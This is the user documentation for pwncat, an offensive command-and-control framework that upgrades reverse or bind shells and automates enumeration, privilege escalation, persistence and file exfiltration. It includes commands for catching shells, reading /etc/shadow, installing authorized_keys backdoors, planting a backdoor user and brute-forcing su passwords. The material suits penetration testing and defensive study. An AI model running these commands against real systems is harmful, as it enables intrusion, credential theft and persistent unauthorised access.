pwncat

Jun 12, 2021

Contents:

pwncat is a command and control framework which turns a basic reverse or bind shell into a fully-featured exploitation platform. After initial connection, the framework will probe the remote system to identify useful binaries natively available on the target system. It will then attempt to start a pseudoterminal on the remote host and provide you with raw terminal access.

pwncat doesn't stop there, though. On top of raw terminal access, pwncat can programmatically interact with the remote host alongside your terminal access. pwncat provides you with a local shell interface which can utilize your connection for enumeration, file upload/download, automatic persistence installation and even automated privilege escalation.

This abstracted remote host access is also available to the user via custom commands, privilege escalation methods, and persistence methods. You can find out more about this framework under the API Documentation below!

CHAPTER 1

What's wrong with just a reverse shell?

You may be familiar with the common method of getting raw terminal access with reverse shells. It normally goes something like this:

```
# Connect to a remote bind shell
nc 1.1.1.1 4444
# Spawn a remote pseudoterminal
remote$ python -c "import pty; pty.spawn('/bin/bash')"
# Background your raw shell
remote$ C-z
# Set local terminal to raw mode
local$ stty raw -echo
# Foreground your remote shell
local$ fg
# You now have a full terminal that doesn't exit on C-c and
# supports keyboard shortcuts, history, graphical terminal
# applications, etc.
remote$
```

This works well. However, the added steps to get a reverse shell are laborious after a while. Also, the danger of losing your remote shell by accidentally pressing “C-c” prior to gaining raw access is high. This was the original inspiration of this project.

CHAPTER 2

Where Do I Begin?

pwncat has a lot features, and is easily extensible if you have ideas! Check out the "Basic Usage" section next for examples of connecting to remote hosts. If you ever find there is a piece of the documentation missing, check out the help documentation at the local prompt, accessed with the --help/-h parameter of any command. If the information you're looking for doesn't exist, please submit an issue on GitHub. If you're feeling adventurous, take a look at the API documentation as well. Pull requests are always welcome!

2.1 Installation

The only system dependency for pwncat is python3 and pip. For pip to install all Python dependencies, you will likely need your distributions Python Development package (python3-dev for Debian-based distributions). Once you have a working pip installation, you can install pwncat with the provided setup script:

```
python setup.py --user install
```

It is recommended to use a virtual environment, however. This can be done easily with the Python3 venv module:

```
python -m venv env
source env/bin/activate
python setup.py install
```

When updating pwncat is it recommended to setup and update the virtual environment again.

After installation, you can use pwncat via the installed script:

```
$ pwncat --help
usage: pwncat [-h] [--config CONFIG] [--identity IDENTITY] [--listen] [--port PORT]
              [[protocol://][user[:password]@][host][:port]] [port]

    Connect to a remote victim. This command is only valid prior to an established
    connection. This command attempts to act similar to common tools such as netcat
    and ssh simultaneosly. Connection strings come in two forms. Firstly, pwncat
    can act like netcat. Using `connect [host] [port]` will connect to a bind shell,
```

(continues on next page)

(continued from previous page)

```
    while `connect -l [port]` will listen for a reverse shell on the specified port.

    The second form is more explicit. A connection string can be used of the form
    `[protocol://][user[:password]@][host][:port]`. If a user is specified, the
    default protocol is `ssh`. If no user is specified, the default protocol is
    `connect` (connect to bind shell). If no host is specified or `host` is "0.0.0.0"
    then the `bind` protocol is used (listen for reverse shell). The currently␣
↪available
    protocols are:

    - ssh
    - connect
    - bind

    The `--identity/-i` argument is ignored unless the `ssh` protocol is used.


positional arguments:
  [protocol://][user[:password]@][host][:port]
                        Connection string describing the victim to connect to
  port                  Alternative port number argument supporting netcat-like syntax

optional arguments:
  -h, --help            show this help message and exit
  --config CONFIG, -c CONFIG
                        Path to a configuration script to execute prior to connecting
  --identity IDENTITY, -i IDENTITY
                        The private key for authentication for SSH connections
  --listen, -l          Enable the `bind` protocol (supports netcat-like syntax)
  --port PORT, -p PORT  Alternative port number argument supporting netcat-like syntax
```

2.1.1 SSH Connection Errors

Due to the way that SSH channels are abstracted, a custom fork of `paramiko` was required to fit into `pwncat`. I submitted a pull request with Paramiko, but it was never merged. Therefore, `pwncat` is currently utilizing a custom fork of `paramiko` which provides an interface which is closer to a standard socket. `pwncat` is smart enough to tell you this is the problem, but for documentation's sake, this command should fix your problems:

```
# Ensure that the correct paramiko is installed
pip install -U git+https://git+https://github.com/calebstewart/paramiko
```

If you installed `pwncat` within a virtual environment, this should obviously be done inside the virtual environment. If you did not install within a virtual environment, this change may break other python tools which depend on a later version of paramiko (however it should not affect things which depend on an equal version).

This problem is discussed here.

2.1.2 Development Environment

If you would like to develop modules for `pwncat` (such as privilege escalation or persistence module), you can use the `setuptools` "develop" target instead of "install". This installs `pwncat` via symlinks, which means any modifications of the local code will be reflected in the installed package:

```
python setup.py develop
```

2.2 Basic Usage

`pwncat` has two main modes which it operates in: Command Mode and Raw Mode. In command mode, you are given a prompt with the `(local)` prefix. This prompt provides access to `pwncat` commands for everything from file upload/download to automated privilege escalation. In command mode, you control the remote host over the same communications channel, and therefore cancelling local commands with "C-c" may leave your raw prompt in a precarious state.

The local prompt is governed by a command parser based on Python's `prompt_toolkit` module. It will syntax highlight and tab-complete commands and arguments, and provides extensive help which is auto-generated from the docstrings within the code itself.

In raw mode, `pwncat` disables echoing on your local terminal and places it in raw mode. Each individual keystroke is forwarded to the remote terminal. This allows you to interact with the remote terminal as if you were logged in locally or over SSH. Things like keyboard shortcuts, escape sequences and graphical terminal applications will behave normally.

Transitioning between these two modes is accomplished internally by changing the `pwncat.victim.state` property. This property is a Python `Enum` object. From a user perspective, this state can be toggled between Raw and Command mode with the "C-d" key sequence. The reason for selecting "C-d" is two-fold. Firstly, "C-d" is a common way to exit a shell. Intercepting this control sequence prevents you from habitually pressing this key combination and accidentally exiting your remote shell. Further, because of it's common function, it feels natural to use this combination to switch between (or temporarily exit) the different states.

You might be wondering "great, but how do I send a 'C-d' to the remote process!?" Well, `pwncat` allows this through the use of the defined prefix key. Similar to terminal applications like `tmux`, `pwncat` has the concept of a "prefix" key. This key is pressed prior to entering a defined keyboard shortcut to tell the input processor to interpret the next keystroke differently. In `pwncat`, the default prefix is "C-k". This means that to send the "C-d" sequence to the remote terminal, you can press "C-k C-d" and to send "C-k" to the remote terminal, you can press "C-k C-k". Keyboard shortcuts can be connected with any arbitrary script or local command and can be defined in the configuration file or with the `bind` command.

2.2.1 Command Line Interface and Start-up Sequence

The `pwncat` module installs a main script of the same name as an entry point to `pwncat`. The command line parameters to this command are the same as that of the `connect` command. During startup, `pwncat` will initialize an unconnected `pwncat.victim` object. It will then pass all arguments to the entrypoint on to the `connect` command. This command is capable of loading and executing a configuration script as well as connecting via various methods to a remote victim.

If a connection is not established during this initial connect command (for example, if the victim cannot be contacted or the `--help` parameter was specified), `pwncat` will then exit. If a connection *is* established, `pwncat` will enter the main Raw mode loop and provide you with a shell.

2.2.2 C2 Channels

`pwncat` allows the use of a few different C2 channels when connecting to a victim. Originally, `pwncat` wrapped a raw socket much like `netcat` with some extra features. As the framework was expanded, we have moved toward abstracting this command and control layer away from the core `pwncat` features to allow more ways of connection. Currently, only raw sockets and `ssh` are implemented. You can connect to a victim with three different C2 protocols:

bind, connect, and ssh. The first two act like netcat. These modes simply open a raw socket and assume there is a shell on the other end. In SSH mode, we legitimately authenticate to the victim host with provided credentials and utilize the SSH shell channel as our C2 channel.

pwncat exposes these different C2 channel protocols via the protocol field of the connection string discussed below.

2.2.3 Connecting to a Victim

Connecting to a victim is accomplished through a connection string. Connection strings are versatile ways to describe the parameters to a specific C2 Channel/Protocol. This looks something like: `[protocol://][user[:password]]@[host:][port]`

Each field in the connection string translates to a parameter passed to the C2 channel. Some channels don't required all the parameters. For example, a bind or connect channel doesn't required a username or a password.

If the protocol field is not specified, pwncat will attempt to figure out the correct protocol contextually. The following rules apply:

- If only the host is provided, the protocol is assumed to be reconnect
- If a user and host are provided: - If the --identity/-i parameter is not used, then reconnect is attempted. - If no matching persistence methods are available, ssh is assumed. - This allows simple reconnections while also supporting the ssh-style syntax.
- If no user is provided but a host and port are provided, assume protocol is connect
- If no user or host is provided (or host is 0.0.0.0), protocol is assumed to be bind
- If a second positional integer parameter is specified, the protocol is assumed to be connect - This is the netcat syntax seen in the below examples for the connect protocol.
- If the -l parameter is used, the protocol is assumed to be bind. - This is the netcat syntax seen in the below examples for the bind protocol.

2.2.4 Connecting to a victim bind shell

In this case, the victim is running a raw bind shell on an open port. The victim must be available at an address which is routable (e.g. not NAT'd). The connect protocol provides this capability.

Listing 1: Connecting to a bind shell at 1.1.1.1:4444

```
# netcat syntax
pwncat 192.168.1.1 4444
# Full connection string
pwncat connect://192.168.1.1:4444
# Connection string with assumed protocol
pwncat 192.168.1.1:4444
```

2.2.5 Catching a victim reverse shell

In this case, the victim was exploited in such a way that they open a connection to your attacking host on a specific port with a raw shell open on the other end. Your attacking host must be routable from the victim machine. This mode is accessed via the bind protocol.

Listing 2: Catching a reverse shell

```
# netcat syntax
pwncat -l 4444
# Full connection string
pwncat bind://0.0.0.0:4444
# Assumed protocol
pwncat 0.0.0.0:4444
# Assumed protocol, assumed bind address
pwncat :4444
```

2.2.6 Connecting to a Remote SSH Server

If you were able to obtain a valid password or private key for a remote user, you can initiate a `pwncat` session with the remote host over SSH. This mode is accessed via the `ssh` protocol. A note about protocol assumptions: if there is an installed persistence method for a given user, then specifying only a user and host will first try reconnecting via that persistence method. Afterwards, an ssh connection will be attempted. If you don't want this behavior, you should explicitly specify `ssh://` for your protocol.

Listing 3: Connection to a remote SSH server

```
# SSH style syntax (assumed protocol, prompted for password)
pwncat root@192.168.1.1
# Full connection string with password
pwncat "ssh://root:r00t5P@ssw0rd@192.168.1.1"
# SSH style syntax w/ identity file
pwncat -i ./root_id_rsa root@192.168.1.1
```

2.2.7 Reconnecting to a victim

If you previously had a `pwncat` session with a remote host and installed a persistence mechanism, you may be able to leverage `pwncat` to automatically reconnect to the victim host utilizing your persistence machanism. For this to work, you must specify a configuration file which provides a database for `pwncat` to use. With a configuration file specified, you can use the `--list` argument to list known hosts and their associated persistence methods.

Listing 4: Listing known host/persistence combinations

```
pwncat -C data/pwncatrc --list
192.168.1.1 - "centos" - 999c434fe6bd7383f1a6cc10f877644d
  - authorized_keys as root
```

Each host is identified by a host hash as seen above. You can reconnect to a host by either specifying a host hash or an IP address. If multiple hosts share the same IP address, the first in the database will be selected if you specify an IP address. Host hashes are unique across hosts.

Reconnecting is done through the `reconnect` protocol. If a user is not specified, the root is preferred. If not persistence method for root is available, then the first available user is selected. The password field of the connection string is used for the persistence module name you would like to use for reconnection. If no password is specified, then all modules are tried and the first to work is used.

Listing 5: Reconnecting to a known host

```
# Assumed protocol
pwncat 999c434fe6bd7383f1a6cc10f877644d
pwncat user@192.168.1.1
# Reconnect via a known host hash
pwncat reconnect://999c434fe6bd7383f1a6cc10f877644d
# Reconnect to first matching host with IP
pwncat reconnect://192.168.1.1
# Reconnect with specific user
pwncat "reconnect://root@999c434fe6bd7383f1a6cc10f877644d"
# Reconnect utilizing the authorized_keys persistence for user bob
pwncat reconnect://bob:authorized_key@999c434fe6bd7383f1a6cc10f877644d
```

2.3 Configuration

`pwncat` can load a configuration script from a few different locations. First, if a file named `pwncatrc` exists in `$XDG_CONFIG_HOME/pwncat/` then it will be executed prior to any other configuration. Next, if no `--config/-c` argument is provided, and a file in the current directory named `pwncatrc` exists, it will be executed. Lastly, if the `--config/-c` argument is specified, `pwncat` will load and run the specified configuration script prior to establishing a connection.

The value of `XDG_CONFIG_HOME` depends on your environment but commonly defaults to `~/.config`. The purpose of this configuration script is for global settings that you would like to persist across all instances of `pwncat`.

The purpose of the explicit script (or implicit script in the current directory) is for you to specify settings which are specific to this connection or context. For example, you may have a different `pwncatrc` that specifies a specific database location in your analysis directory while a configuration exists in `$XDG_CONFIG_HOME` which loads custom modules. The database is specific to a single machine or network while the global configuration may apply to multiple machines, networks or engagements.

The syntax of the `pwncatrc` script is the same as the local prompt within `pwncat`. This means you can generally use most commands that are available there with the exception of any command which requires a connection be established. For example, you cannot run enumeration or escalation modules (with the exception of on_load scripts). You can, however, set key bindings, load module classes, and set default configuration parameters.

2.3.1 Configuration Parameters

Configuration parameters are modified with the `set` command. By default, parameters are modified in the local context. This is meaningless if you are not in a module context. Therefore, if you are setting global runtime parameters, you should use the `--global/-g` flag.

To run commands and interact with the remote host upon successful connection, you can specify a script to run via the `set` command:

```
set -g on_load {
    persist --install --method authorized_keys
}
```

The script between the braces will be run as soon as a victim is connected and stable. Any command you can normally run from within `pwncat` is available.

Besides the on-load script, the following global configuration values can be set:

- lhost - your attacking ip from the perspective of the victim

- prefix - the key used as a prefix for keyboard shortcuts
- privkey - the private key used for RSA-based persistence
- backdoor_user - the username to insert for backdoor persistence
- backdoor_pass - the password for the backdoor user
- db - a SQLAlchemy connection string for the database to use
- on_load - a script to run upon successful connection

The `set` command is also used to set module arguments when with a module context. In this case, the `--global/-g` flag is not used, and the values are lost upon exiting the module context.

2.3.2 User Credentials

The `set` command can also be used to specify user credentials. When used in this form, it can only be used after client connection. To specify a user password, you can use the "–password/-p" parameter:

```
set -p bob "b0b5_P@ssw0rd"
```

2.3.3 Key Bindings

Key bindings are keys which trigger specific commands or scripts to run after being pressed. To access key bindings, you must first press your defined prefix. By default, one binding is enabled, which is `s`. This will synchronize the terminal state with your local terminal, which is helpful if you change the width and height of your terminal window. A key binding can either be a single command specified in quotes, or a script block specified in braces as with the `on_load` callback. Examples of key bindings:

```
# Enter the local prompt for a single command, then return to raw terminal
# mode
bind c "set state single"
# Enumerate privilege escalation methods
bind p "privesc -l"
```

2.3.4 Aliases

Basic command aliases can be defined using the `alias` command. Aliases can only be to base commands, and cannot contain scripts or command parameters. Examples of basic aliases:

```
alias up upload
alias down download
```

2.3.5 Shortcuts

Shortcuts provide single-character prefixes to act as commands. The entire command string after the prefix is sent as the parameters to the specified command. The following two shortcuts are provided to enable running local and remote shell commands from the pwncat prompt:

```
shortcut ! local
shortcut @ run
```

2.4 Modules

Modules allow `pwncat` to abstractly handle many different operations without polluting the commands. Persistence, privilege escalation and enumeration are all implemented as modules within `pwncat`. The modules are dynamically loaded at runtime. There is a set of default modules included with `pwncat` and also the ability to load custom modules at runtime (either manually or via local or global configuration script).

2.4.1 Module Contexts

You can enter a module "context" which means that any `set` commands will operate specifically on that modules arguments by default. This is useful when a module takes a large number of arguments or complex arguments. In this case, the local prompt prefix changes to `([module_name])` vice the normal `(local)`. The context is exited automatically after using the `run` command.

When in a module context, commands like `info` and `run` no longer require the module name as a parameter. It is inferred by the current context.

2.4.2 Locating Modules

Modules are located using the `search` command at the local prompt:

```
search enumerate.*
```

2.4.3 Viewing Documentation

Module documentation can be viewed with the `info` command. When within a module context, the module name is inferred from the current context if not specified.

```
info escalate.auto
```

2.4.4 Running Modules

The `run` command is used to execute a module. The module name is inferred from the module context if not specified. Key-value parameters can be specified in the `run` command or with `set` within a module context.

```
run escalate.auto user=root
use escalate.auto
set user root
run
```

2.5 Enumeration

Enumeration in `pwncat` is achieved through the `enumerate.*` modules. All these modules implement a sub-class of the standard `pwncat` module. Each enumeration can be run individually or you can use one of the automated enumeration groups. Enumeration modules can specify the their "schedule" which affects when they are run. By default, enumeration modules run only once and their results are cached in the database. Some modules specify a "per-user" schedule which means they run once per user. A smaller number of modules specify a "always" schedule which means that every time you run the module it will execute that enumeration regardless of any cached entries.

2.5.1 Gathering Enumeration Data

The `enumerate.gather` module is used to gather enumeration facts from all other enumeration modules. Facts can be filtered by the module name or the types of facts. This can be used to create a custom enumeration report.

```
# Enumerate only SUID and File Capability enumeration types
(local) pwncat$ run enumerate.gather types=file.suid,file.caps
# Enumerate facts from all available modules
(local) pwncat$ run enumerate.gather
```

The `enumerate.quick` module enumerates some useful types of enumeration data, but is intended to not take much time. Both `enumerate.gather` and `enumerate.quick` implement the `output` parameter which allows you to write the enumeration results to a markdown file instead of standard output.

```
# Output a markdown formatted report to results.md
(local) pwncat$ run enumerate.auto output=results.md
```

2.6 Automated Privilege Escalation

`pwncat` has the ability to attempt automated privilege escalation methods. A number of methods are implemented by default such as:

- Set UID Binaries
- Sudo (with and without password)
- screen (CVE-2017-5618)
- DirtyCOW

Each of these methods utilize the capabilities of the GTFOBins module. The GTFOBins module provides a programmatic interface to gtfobins. Each privilege escalation module implements shell, file read or file write capabilities. `pwncat` will leverage these to get shell access as the specified user. `pwncat` does this by trying the following methods with the provided capabilities:

- Executing a shell (the simplest option)
- Reading user private keys and ssh-ing to localhost
- Writing private keys
- Implanting a backdoor user in /etc/passwd (if file-write as root is available)

If `pwncat` does not find a method of gaining access as the specified user directly, it will attempt to escalate to any other user it can recursively to attempt to find a path to the requested user.

2.6.1 Invoking Privilege Escalation

Privilege escalation is implemented utilizing `pwncat` modules. These modules can be run individually if desired or you can utilize the `escalate.auto` module which will recursively search for a path to a desired user.

The `escalate.auto` module by default simply lists the escalation techniques which were found for the current user. To actually escalate to a new user, you can use the `exec` option. This option will go through every possible user and attempt to escalate. It then keeps attempting escalation until it finds a path to the requested user recursively.

Escalation modules also implement `read` and `write` modes which attempt to read or write a file as the specified user. All three of `read`, `write`, and `exec` are also supported by every individual escalation module.

```
# Locate and list available techniques as the current user
(local) pwncat$ run escalate.auto
# Attempt automated escalation to the specified user
(local) pwncat$ run escalate.auto exec user=root shell=/bin/bash
# Attempt automated escalation to root with the current shell
(local) pwncat$ run escalate.auto exec
# Read /etc/shadow with the escalate.sudo module
(local) pwncat$ run escalate.sudo read user=root path=/etc/shadow
# Write a file as root
(local) pwncat$ run escalate.auto write user=root path=/tmp/test data="hello world!"
```

2.7 Persistence

Persistence modules are implemented as sub-classes of the standard `pwncat` modules, and are placed under the `persist` package. Persistence methods provide an abstract way to install and utilize various persistence methods on the victim host.

An installed persistence method is tracked in the database, and can be utilized for escalation or reconnecting to a disconnected victim depending on the persistence module itself.

2.7.1 Listing Installed Modules

The `persist.gather` module is used to gather the installed modules on the victim host. This module is also used to remove persistence modules in bulk. To simply list all installed modules:

```
(local) pwncat$ run persist.gather
```

You can also specify any arguments available to persistence modules in the call to `run` in order to filter the results:

```
(local) pwncat$ run persist.gather user=bob
```

2.7.2 Installing Persistence

Persistence modules are installed by running the relevant module. For example, to install persistence as the user `bob` with the `persist.authorized_key` module, you can do the following:

```
(local) pwncat$ run persist.authorized_key user=bob backdoor_key=./backdoor_id_rsa
```

2.7.3 Removing Persistence

To remove a persistence module, you simply pass the `remove` argument to the module. It's worth noting that the module arguments must be identical to the installed module in order to successfully remove the module. To simplify this, you can use the `persist.gather` module to locate and remove the module.

```
# Remove the module by explicitly specifying all parameters
(local) pwncat$ run persist.authorized_key remove user=bob backdoor_key=./backdoor_id_
↪rsa
# Remove the module by locating it with persist.gather and removing it
(local) pwncat$ run persist.gather remove user=bob
```

2.7.4 Escalating Using Persistence

Escalation with installed persistence can be done by passing the `escalate` argument to the persistence module. Alternatively, it is recommended to simply utilize the `escalate.auto` module which will automatically select appropriate persistence modules if available.

```
# Escalate to bob via installed persistence
(local) pwncat$ run persist.authorized_key escalate user=bob backdoor_key=./backdoor_
↪id_rsa
(local) pwncat$ run persist.gather escalate user=bob
# Recommended method
(local) pwncat$ run escalate.auto user=bob
```

2.7.5 Reconnecting to a Victim via Persistence

Remote persistence modules can be used to reconnect to a victim host. This is done with the `connect` command (or via the pwncat command line parameters). The `reconnect` protocol will achieve this:

```
# Reconnect as the specified user.
# Automatically select either an installed persistence method or prompt for ssh␣
↪password
pwncat user@192.168.1.1
# Reconnect protocol explicitly
pwncat reconnect://user@192.168.1.1
# Reconnect with a specific module
pwncat reconnect://user:persist.authorized_key@192.168.1.1
```

2.8 Command index

2.8.1 Alias

`alias` is a simple command. It provides the ability to rename any built-in command. Unlike aliases in common shells, this does not allow you to provide default parameters to commands. Instead, it simply creates an alternative name.

You can specify a new alias simply by providing the new name followed by the new name. For example, to alias “download” to “down”, you could do this in your configuration script:

```
alias down "download"
```

`alias` takes as it’s second argument a string. Passing anything else (e.g. a code block) will not produce the desired results. The command you are aliasing must exist and be a standard command (no aliases to other aliases are supported).

2.8.2 Back

The back command is used to exit the local `pwncat` prompt and return to your remote shell. It is not expected to be used very often since the `C-d` shortcut is the primary method of switching. However, if you need to switch modes from a script, you can do so with this command. It takes no parameters and will immediately exit the `pwncat` shell to return to the remote prompt.

2.8.3 Bind

The bind command is used to create new keyboard shortcuts or change old ones. Keyboard shortcuts are accessed by first pressing your defined "prefix" key (by default: `C-k`). `bind` takes two parameters: the key to bind, and the script to run when it is pressed.

Key Selection

The key argument is specified as a string. If the string is a single character, it is assumed to be that literal printed character. For example, to bind the lowercase "a" key to a command you could:

```
bind "a" "some helpful command"
```

If the key argument is longer than one character, it is assumed to be a key name. The key names accepted by `pwncat` are taken directly at runtime from the list of known ANSI keystrokes defined in the `prompt_toolkit` package. They use the same syntax as in prompt toolkit. All key names are lowercase. The prompt_toolkit documentation covers the keys supported by their module in their documentation here. Any key defined by prompt_toolkit is available for key binding by `pwncat`.

Script Content

The target of a key binding is a script. Scripts in `pwncat` can be specified as a string, which can only contain a single command, or as a code block surrounded by curly braces. When in code block mode, you can use as many commands as you like, and even insert comments, blank lines, etc.

```
bind "a" {
    # you can bind a series of commands which you
    # do very often to a key, if you find it helpful.
    privesc -l
    persist -s
    tamper
}
```

2.8.4 Bruteforce

The `bruteforce` command is used to bruteforce authentication of a user locally. It will use the `su` command to iteratively try every password for a given user. This is very slow, but does technically work. If no wordlist is specified, the default location of `rockyou.txt` in Kali Linux is chosen. This may or may not exist for your system.

Warning: This command is very noisy in log files. Each failed authentication is normally logged by any modern linux distribution. Further, if account lockout is enabled, this will almost certainly lockout the targeted account!

Selecting a User

Individual users are selected with the `--user` argument. This argument can be passed multiple times to test multiple users in one go. To use the default dictionary to test the root and bob users, you would issue a command like:

```
bruteforce -u root -u bob
```

User names are automatically tab-completed at the `pwncat` prompt for your victim host.

Selecting a Wordlist

Word lists are specified with the `--dictionary` parameter. This parameter is a path to a file on your attacking host which contains a list of passwords to attempt for the selected users. If a correct password is found, it is stored in the databaase, and the search is aborted for that user. To select a custom database, you would issue a command like:

```
bruteforce -d /opt/my-favorite-repo/my-favorite-wordlist.txt -u root
```

2.8.5 Busybox

`pwncat` works by try as much as possible not to depend on specific binaries on the remote system. It does this most of the time by selecting an unidentified existing binary from the GTFOBins database in order to perform a generic capability (e.g. file read, file write or shell). However, sometimes a critical binary is missing on the target host which has been removed (either maliciously or never installed). In these situations, obtaining a stable version of all basic binaries is very helpful. To this end, `pwncat` has the capability to automatically upload a copy of the `busybox` program to the remote host.

The `busybox` command manages the installation, status, and removal of the installed busybox. Installing busybox lets `pwncat` know that it has a list of standard binaries with known good interfaces easily accessible. The `busybox` command also understands how to locate a `busybox` binary precompiled for the victim architecture and upload it through the existing C2 channel. The new busybox installation will be installed in a temporary directory, and any further automated tools within `pwncat` will use it's implementation of common unix tools.

Installation

To install busybox on the remote victim, you can use the `--install` option to the `busybox` command. This will first check for an existing, distribution specific, installation on the remote host. If the `busybox` command exists, it will utilize that vice installing a new copy. If it doesn't, it will begin proxying a connection to the official busybox servers to upload a busybox binary specific to the victim architecture.

After installation, `pwncat` will examine the endpoints provided by busybox, and remove any that are provided SUID by the remote system. This prevents `pwncat` from replacing the real `su` binary with `busybox su` in it's database.

Status and Applet List

To check if busybox has been installed and is known by `pwncat` (for example from a previous session), you can use the `--status` option. This is the default action, and can be accessed by passing no parameters to `busybox`:

```
(local) pwncat$ busybox
[+] busybox is installed to: /tmp/busyboxIu1gu
[+] busybox provides 232 applets
(local) pwncat$
```

If you would like to see a list of binaries which busybox is currently providing for `pwncat`, you can use the `--list` option. This is normally a large list (232 lines in this case), but it is provided for completeness sake.

```
(local) pwncat$ busybox --list
[+] binaries which the remote busybox provides:
 * [
 * [[
 * acpid
 * add-shell
 * addgroup
```

(continues on next page)

(continued from previous page)

```
 * adduser
 * adjtimex
... removed for brevity ...
```

Removing Busybox

Busybox is tracked by `pwncat` as a remote tamper. This means that the `tamper` command will show that you have installed busybox, and `busybox` can be uninstalled using the `tamper` command:

2.8.6 Connect

This command initiates or receives a connection to a remote victim and establishes a `pwncat` session. Sessions can be established over any socket-like communication layer. Currently, communications channels for reverse and bind shells over raw sockets and SSH are implemented.

The connect command is written to take a flexible syntax. At it's core, it accepts a connection string which looks like this: `protocol://user:password@host:port`. It also makes some assumptions if some or all of this connection string is missing.

The following assumptions are made if one or more of the above sections are missing

- If no protocol is specified, but the user and host are specified, assume SSH protocol.
- If no protocol, user, or port are specified, assume reconnect protocol.
- If no protocol, user, password or port are specified, assume reconnect protocol.
- If no protocol, user or password are specified and host is not 0.0.0.0, assume connect protocol.
- If no protocol, user, password or host are specified, assume bind protocol.

Further, any input which supplies a username (and optionally a password field) and a host with no port or protocol will attempt to reconnect via installed persistence first.

This command also accepts a second positional parameter to specify the port. This parameter cannot be used along with the port within the connection string. The reason for the second port argument is to support `netcat` like syntax.

These rules mean that you can invoke `pwncat` in a similar fashion to common tools such as `ssh` and `netcat`. For example, all of the following are valid:

```
# Connect to a bind shell on 4444
connect 10.10.10.10 4444
connect connect://10.10.10.10:4444
connect 10.10.10.10:4444
# Listen for reverse shell on 4444
connect bind://0.0.0.0:4444
connect 0.0.0.0:4444
connect :4444
connect -lp 4444
# Connect via ssh
connect user@10.10.10.10
connect -i id_rsa user@10.10.10.10
connect user:password@10.10.10.10
# Reconnect to host via IP, hostname or host hash
connect user@[hostname, host hash or IP]
connect reconnect://user:module@10.10.10.10
connect [hostname, host hash or IP]
```

For more concrete examples, see the `Basic Usage` page. The arguments to `pwncat` are the same as the arguments to `connect`

2.8.7 Download

The `download` command provides an easy way to exfiltrate files from the victim. All file transfers are made over the same connection as your shell, and there are no HTTP or raw socket ports needed to make these transfers. File transfers are accomplished by utilizing the `gtfobins` framework to locate file readers on the victim host and write the contents back over the pipe. In some cases, this includes and requires encoding the data on the victim end and automatically decoding on the attacking host.

The `download` command has a simply syntax which specifies the source and destination files only. The source file is a file on the remote host, which will be tab-completed at the `pwncat` prompt. The destination is a local file path on your local host which will be created (or overwritten if existing) with the content of the remote file.

Listing 6: Downloading the contents of /etc/hosts to a local file

```
download /etc/hosts ./victim-hosts
```

2.8.8 Load

This command allows you to load custom `pwncat` modules from a python package. The only parameter is the local path to a directory containing python packages to load as modules.

`pwncat` will load all modules under that package and search for classes named `Module` implementing the `BaseModule` base class. These modules will be named based on the python package name relative to the specified directory. For example, if you had a directory called `.pwncat-modules` with this structure:

```
- .pwncat-modules/
    - enumerate/
        - __init__.py
        - custom.py
    - __init__.py
```

And a class named `Module` defined in ``custom.py` then a new `pwncat` module would be available under the name `enumerate.custom`.

This command can be used in your configuration script to automatically load custom modules at runtime.

```
# Load modules from /home/user/.pwncat-modules
(local) pwncat$ load /home/user/.pwncat-modules
(local) pwncat$ run enumerate.custom
```

2.8.9 Run

The `run` command gives you access to all `pwncat` modules at runtime. Most functionality in `pwncat` is implemented using modules. This includes privilege escalation, enumeration and persistence. You can locate modules using the `search` command or tab-complete their name with the `run` command.

The `run` command is similar to the command with the same name in frameworks like Metasploit. The first argument to `run` is the name of the module you would like to execute. This takes the form of a Python fully-qualified package name. The default modules are within the `pwncat/modules` directory, but other can be loaded with the `load` command.

Modules may take arguments, which can be appended as key-value pairs to the end of a call to the `run` command:

```
# Enumerate setuid files on the remote host
run enumerate.gather types=file.suid
```

Required module arguments are first taken from these key-value pairs. If they aren't present, they are taken from the global configuration.

Run Within A Context

In `pwncat`, the `use` command can enter a module context. Within a module context, the pwncat prompt will change from "(pwncat) local$" to "(module_name) local$". In this state, you can set module arguments with the `set` command. After the arguments are set, you can run the module with `run`. Within a module context, no arguments are required for `run`, however you are allowed to specify other key-value items as well. For example:

```
# Perform the same enumeration as seen above
use enumerate.gather
set types file.suid
run
```

2.8.10 Info

This command gets the documentation/help information for the specified module. This command has no other arguments or parameters. When called without a module name and within a module context, the documentation for the current module is displayed.

```
info enumerate.gather
```

2.8.11 Search

This command allows you to search for relevant modules which are currently imported into `pwncat`. This performs a glob-based search and provides an ellipsized description and module name in a nice table. The syntax is simple:

```
# Search for modules under the `enumerate` package
(local) pwncat$ search enumerate.*
```

2.8.12 Use

The `use` command can be *used* to enter the context of a module. When within a module context, the `run`, `set` and `info` commands operate off of the module currently in the context.

The use command simply takes the name of the module you would like to use and takes no other arguments or flags.

```
# Enter the context of the `enumerate.gather` module
use enumerate.gather
# Get information/help for this module
info
# Run the module
run
```

2.8.13 Tamper

pwncat tracks modifications of the remote system through the tamper module. Programmatically, pwncat interfaces with the tamper subsystem through the pwncat.victim.tamper object. This allows generic modifications to be registered with a method to revert the change. Built-in capabilities like privesc and persist will any modifications made to the remote system with the tamper module. This includes but is not limited to created users, created files, modified files, and removed files.

Listing Tampers

To view a list of current remote modifications, use the tamper command. The default action is to list all registered tampers.

```
(local) pwncat$ tamper
 0 - Created file /tmp/tmp.U2KlLIG5dW
 1 - Modified /home/george/.ssh/authorized_keys
 2 - Created file /tmp/tmp.tnJfd2BaCd
 3 - Created file /tmp/tmp.PAXFRgfYzW
 4 - Modified /home/george/.ssh/authorized_keys
 5 - Created file /tmp/tmp.xi5Evy4ZPF
 6 - Created file /tmp/tmp.05AwnolMNL
 7 - Modified /home/george/.ssh/authorized_keys
 8 - Created file /tmp/tmp.6LwcrXSdWE
 9 - Persistence: passwd as system (local)
```

Reverting Tampers

Tampers can be reverted to their original state with the --revert/-r flag of the tamper command. In this mode, can either specify --all/-a or --tamper/-t ID to revert all tampers or a specific tamper ID. In some cases, the modifications were made as a different user and therefore cannot be removed currently. In this case, the tamper is left in the list and can be reverted later once you have the required privileges:

```
(local) pwncat$ tamper -r -a
[\] reverting tamper: Modified /home/george/.ssh/authorized_keys
[?] Modified /home/george/.ssh/authorized_keys: revert failed: No such file or␣
↪directory: '/home/george/.ssh/authorized_keys'
[/] reverting tamper: Created file /tmp/tmp.tnJfd2BaCd
[?] Created file /tmp/tmp.tnJfd2BaCd: revert failed: /tmp/tmp.tnJfd2BaCd: unable to␣
↪remove file
[\] reverting tamper: Modified /home/george/.ssh/authorized_keys
[?] Modified /home/george/.ssh/authorized_keys: revert failed: No such file or␣
↪directory: '/home/george/.ssh/authorized_keys'
[/] reverting tamper: Created file /tmp/tmp.xi5Evy4ZPF
